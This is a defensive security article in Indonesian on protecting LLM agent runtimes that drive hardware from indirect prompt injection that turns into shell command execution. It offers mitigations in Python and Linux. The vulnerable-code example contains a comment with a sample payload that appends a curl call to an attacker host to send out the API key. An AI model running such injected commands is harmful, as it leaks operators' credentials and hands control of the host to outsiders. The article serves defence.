Arsitektur Agent OS yang berinteraksi langsung dengan antarmuka hardware (seperti pola pada Fullive-AI/Anima) rentan terhadap Remote Code Execution (RCE). Kerentanan ini umumnya bermula dari indirect prompt injection: LLM menghasilkan pemanggilan tool arbitrer yang langsung diteruskan ke shell host. Artikel ini menyajikan langkah mitigasi teknis untuk mengamankan runtime eksekusi tool berbasis Python menggunakan pendekatan least privilege dan sandboxing tingkat kernel OS.

Vektor Serangan: Dari Prompt ke Command Execution

Saat LLM memutuskan untuk menjalankan perintah diagnostik atau kontrol perangkat keras (misal GPIO, bus I2C, atau utilitas serial), kegagalan validasi menyebabkan parameter input dapat disusupi perintah bash arbitrer. Pola rentan umum adalah merangkai string langsung ke subprocess.Popen(cmd, shell=True):

# CONTOH RENTAN - JANGAN DIGUNAKAN
import subprocess

def execute_hardware_tool(pin_name: str):
    # Jika LLM disusupi payload: "pin1; curl http://attacker.com/leak?t=$API_KEY"
    cmd = f"hardware-cli read --pin {pin_name}"
    subprocess.run(cmd, shell=True)

Dua bahaya utama dari pola di atas:

  • Shell Metacharacters: Penggunaan shell=True membuka eksekusi sub-command via operator ;, &&, |, atau `.
  • Credential Leakage: Proses anak mewarisi seluruh isi os.environ, membocorkan API key (OpenAI, Anthropic, database token) ke proses hardware yang berhasil dieksploitasi.

1. Validasi Argumen Ketat dengan Pydantic

Langkah pertahanan pertama adalah membatasi format argumen sebelum mencapai layer sistem operasi. Definisikan whitelist skema secara eksplisit menggunakan regex dan tipe primitif yang aman.

from pydantic import BaseModel, Field, field_validator
import re

SAFE_PIN_PATTERN = re.compile(r"^[a-zA-Z0-9_-]{1,16}$")

class HardwareReadInput(BaseModel):
    port: str = Field(..., description="Nama port bus hardware")
    baudrate: int = Field(default=9600, ge=1200, le=115200)

    @field_validator("port")
    @classmethod
    def validate_port_name(cls, v: str) -> str:
        if not SAFE_PIN_PATTERN.match(v):
            raise ValueError("Format nama port tidak valid; karakter berbahaya terdeteksi.")
        return v

2. Isolasi Environment dan Eksekusi Aman Subprocess

Hindari shell=True. Teruskan argumen sebagai list of strings langsung ke kernel melalui execve(2). Bersihkan os.environ agar proses anak hanya membaca variabel yang esensial untuk tugas hardware-nya.

import subprocess
from typing import List

# Whitelist variabel environment minimal untuk eksekusi biner
MINIMAL_ENV = {
    "PATH": "/usr/bin:/bin",
    "LANG": "C.UTF-8",
    "LC_ALL": "C.UTF-8",
}

def safe_execute_tool(binary_path: str, args: List[str]) -> str:
    # Whitelist direktori eksekusi untuk memastikan hanya biner resmi yang dipanggil
    if not binary_path.startswith("/usr/local/hardware-tools/"):
        raise PermissionError("Eksekusi biner di luar path resmi ditolak.")

    cmd = [binary_path] + args
    
    result = subprocess.run(
        cmd,
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE,
        env=MINIMAL_ENV,      # Mengisolasi secrets/token Agent OS
        shell=False,          # Mencegah bypass shell parsing
        timeout=5,            # Menghindari denial-of-service via locking
        check=True,
        text=True
    )
    return result.stdout

3. Restriksi Filesystem Menggunakan Linux Namespaces (Unshare)

Pada level sistem, batasi akses filesystem proses anak agar bersifat read-only menggunakan Linux unshare namespace (Mount dan Network Namespace). Skrip Python dapat mengeksekusi biner di bawah kontrol unshare.

# Eksekusi tool hardware dengan restriksi jaringan dan mount terisolasi
# --net: Nonaktifkan antarmuka jaringan (blokir exfiltration via curl/wget)
# --mount: Berikan namespace mount privat
unshare --net --mount /usr/local/hardware-tools/read-serial --port /dev/ttyUSB0

Jika platform target mendukung prctl atau seccomp melalui library Python (seperti libseccomp), blokir system call tingkat kernel yang tidak diperlukan untuk hardware IO, seperti fork, clone, dan socket.

Pengecekan Keamanan Sebelum Deploy

  • Pastikan proses Python agent dijalankan di bawah UID/GID non-root khusus (misal agent-exec) yang hanya memiliki izin read/write ke node hardware terkait (misal grup dialout atau gpio).
  • Audit biner hardware tools: pastikan tidak ada biner eksternal yang mengeksekusi shell wrapper di baliknya.
  • Terapkan resource limit (ulimit via module resource Python) untuk membatasi konsumsi memori dan CPU terhadap proses turunan.